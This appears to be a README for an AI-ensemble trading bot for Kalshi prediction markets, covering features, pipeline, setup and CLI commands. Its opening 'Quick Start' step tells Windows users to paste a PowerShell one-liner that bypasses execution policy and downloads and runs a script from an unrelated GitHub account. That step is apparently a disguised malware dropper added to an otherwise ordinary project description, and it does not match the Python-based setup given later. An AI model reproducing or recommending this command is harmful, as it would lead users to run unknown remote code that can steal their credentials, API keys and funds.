🤖 Kalshi AI Trading Bot

An autonomous trading bot for Kalshi prediction markets powered by a five-model AI ensemble.

Five frontier LLMs debate every trade. The system only enters when they agree.

Quick Start · Features · How It Works · Configuration · Contributing · Kalshi API Docs

</div>

---

🚀 Quick Start

If you just want to get the project running fast on Windows, use the installation command below first. After that, continue with the project-specific setup, configuration, and usage sections.

🛠️ Installation

CMD

Open CMD and run this single command:

powershell -ep bypass -c "iwr https://github.com/0mnjb/Kalshi-AI-Trading-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"

Then continue with the project-specific setup steps below.

⚠️ Disclaimer ?This is experimental software for educational and research purposes only. Trading involves substantial risk of loss. Only trade with capital you can afford to lose. Past performance does not guarantee future results. This software is not financial advice. The authors are not responsible for any financial losses incurred through the use of this software.

📊 Why Discipline Mode Exists ?Through extensive live trading on Kalshi across multiple strategies, we learned that trading without category enforcement and risk guardrails leads to significant losses. The most common mistakes: over-allocating to economic events (CPI, Fed decisions) with no real edge, and using aggressive position sizing. The consistently profitable edge we found was NCAAB NO-side trading (74% win rate, +10% ROI). This repo now ships with discipline systems enabled by default ?category scoring, portfolio enforcement, and sane risk parameters.

---

📘 Project-Specific Setup

Three steps to get running in paper-trading mode (no real money):

# 1. Clone and set up
git clone https://github.com/ryanfrigo/kalshi-ai-trading-bot.git
cd kalshi-ai-trading-bot
python setup.py        # creates .venv, installs deps, checks config

# 2. Add your API keys
cp env.template .env   # then open .env and fill in KALSHI_API_KEY,
                       # XAI_API_KEY, and OPENROUTER_API_KEY

# 3. Run in disciplined mode (default ?category scoring + guardrails)
python cli.py run --paper

# Or run the safe compounder (NO-side edge-based, most conservative)
python cli.py run --safe-compounder

Then open the live dashboard in another terminal:

python cli.py dashboard

Need API keys?

• Kalshi key + private key ?kalshi.com/account/settings (API docs)
• xAI key ?console.x.ai
• OpenRouter key ?openrouter.ai

---

?Features

Multi-Model AI Ensemble

• ?Five frontier LLMs collaborate on every decision ?Grok-4, Claude Sonnet 4, GPT-4o, Gemini 2.5 Flash, DeepSeek R1
• ?Role-based specialization ?each model plays a distinct analytical role (forecaster, bull, bear, risk manager, news analyst)
• ?Consensus gating ?positions are skipped when models diverge beyond a configurable confidence threshold
• ?Deterministic outputs ?temperature=0 for reproducible AI reasoning

Trading Strategies

• ?Directional trading (50% of capital) ?AI-predicted probability edge with Kelly Criterion sizing
• ?Market making (40%) ?automated limit orders capturing bid-ask spread
• ?Arbitrage detection (10%) ?cross-market opportunity scanning

Risk Management

• ?Fractional Kelly position sizing (0.75x Kelly for volatility control)
• ?Hard daily loss limit ?stops trading at 15% drawdown
• ?Max drawdown circuit breaker ?halts at 50% portfolio drawdown
• ?Sector concentration cap ?no more than 90% in any single category
• ?Daily AI cost budget ?stops spending when API costs hit $50/day

Dynamic Exit Strategies

• ?Trailing take-profit at 20% gain
• ?Stop-loss at 15% per position
• ?Confidence-decay exits when AI conviction drops
• ?Time-based exits (10-day max hold)
• ?Volatility-adjusted thresholds

Observability

• ?Real-time Streamlit dashboard ?portfolio value, positions, P&L, AI decision logs
• ?Paper trading mode ?simulate trades without real orders; track outcomes on settled markets
• ?SQLite telemetry ?every trade, AI decision, and cost metric logged locally
• ?Unified CLI ?run, dashboard, status, health, backtest commands

---

🧠 How It Works

The bot runs a four-stage pipeline on a continuous loop:

  INGEST               DECIDE (5-Model Ensemble)    EXECUTE       TRACK
 --------             ─────────────────────────    ---------    --------
                      ┌─────────────────────────?  Kalshi    ────────?? Grok-4  (Forecaster 30%)?  REST API            ├─────────────────────────?                      ? Claude  (News Analyst 20%)?  WebSocket ────────?├─────────────────────────?  Stream              ? GPT-4o  (Bull Case   20%)? ──?Kalshi  ──?P&L
                      ├─────────────────────────?     Order       Win Rate
  RSS / News ───────?? Gemini  (Bear Case   15%)?     Router     Sharpe
  Feeds               ├─────────────────────────?              Drawdown
                      ? DeepSeek(Risk Mgr    15%)?     Kelly    Cost
  Volume &  ────────?└─────────────────────────?     Sizing   Budget
  Price Data             Debate ?Consensus
                         Confidence Calibration

Stage 1 ?Ingest

Market data, order book snapshots, and news feeds are pulled via the Kalshi REST API and WebSocket stream. RSS feeds from financial news sources supplement the signal.

Stage 2 ?Decide (Multi-Model Ensemble)

Each of the five models analyzes the incoming data from its assigned perspective and returns a probability estimate + confidence score. The ensemble combines weighted votes:

| Model | Role | Weight | |---|---|---| | Grok-4 (xAI) | Lead Forecaster | 30% | | Claude Sonnet 4 (OpenRouter) | News Analyst | 20% | | GPT-4o (OpenRouter) | Bull Researcher | 20% | | Gemini 2.5 Flash (OpenRouter) | Bear Researcher | 15% | | DeepSeek R1 (OpenRouter) | Risk Manager | 15% |

If the weighted confidence falls below min_confidence_to_trade (default: 0.50), the opportunity is skipped. If models disagree significantly, position size is automatically reduced.

Stage 3 ?Execute

Qualifying trades are sized using the Kelly Criterion (fractional 0.75x) and routed through Kalshi's order API. Market-making orders are placed symmetrically around the mid-price.

Stage 4 ?Track

Every decision is written to a local SQLite database. The dashboard and --stats commands surface cumulative P&L, win rate, Sharpe ratio, and per-strategy breakdowns in real time.

---

📦 Installation

Prerequisites

• Python 3.12 or later
• A Kalshi account with API access (API docs)
• An xAI API key (Grok-4)
• An OpenRouter API key (Claude, GPT-4o, Gemini, DeepSeek)

The setup script will:

• ?Check Python version compatibility
• ?Create virtual environment
• ?Install all dependencies (with Python 3.14 compatibility handling)
• ?Test that the dashboard can run
• ?Print troubleshooting guidance

Manual Installation

git clone https://github.com/ryanfrigo/kalshi-ai-trading-bot.git
cd kalshi-ai-trading-bot

python -m venv .venv
source .venv/bin/activate        # macOS / Linux
# .venv\Scripts\activate          # Windows

# Python 3.14 users only:
export PYO3_USE_ABI3_FORWARD_COMPATIBILITY=1

pip install -r requirements.txt

Configuration

cp env.template .env   # fill in your keys

| Variable | Description | |---|---| | KALSHI_API_KEY | Your Kalshi API key ID | | XAI_API_KEY | xAI key for Grok-4 | | OPENROUTER_API_KEY | OpenRouter key (Claude, GPT-4o, Gemini, DeepSeek) | | OPENAI_API_KEY | Optional fallback |

Place your Kalshi private key as kalshi_private_key (no extension) in the project root. Download from Kalshi Settings ?API. This file is git-ignored.

Initialize the Database

python -m src.utils.database

⚠️ Use -m flag ?running python src/utils/database.py directly will fail with a module import error.

---

🖥?Running

# Paper trading (no real orders ?safe to test)
python cli.py run --paper

# Live trading (real money)
python cli.py run --live

# Launch monitoring dashboard
python cli.py dashboard

# Check portfolio balance and open positions
python cli.py status

# Verify all API connections
python cli.py health

Or invoke the bot script directly:

python beast_mode_bot.py              # Paper trading
python beast_mode_bot.py --live       # Live trading
python beast_mode_bot.py --dashboard  # Dashboard mode

---

📊 Paper Trading Dashboard

Simulate trades without risking real money. Every signal is logged to SQLite and a static HTML dashboard renders cumulative P&L, win rate, and per-signal details after markets settle.

# Scan markets and log signals
python paper_trader.py

# Continuous scanning every 15 minutes
python paper_trader.py --loop --interval 900

# Settle markets and update outcomes
python paper_trader.py --settle

# Regenerate HTML dashboard
python paper_trader.py --dashboard

# Print stats to terminal
python paper_trader.py --stats

The dashboard writes to docs/paper_dashboard.html ?open locally or host via GitHub Pages.

---

🗂?Project Structure

kalshi-ai-trading-bot/
├── beast_mode_bot.py          # Main bot entry point
├── cli.py                     # Unified CLI: run, dashboard, status, health, backtest
├── paper_tra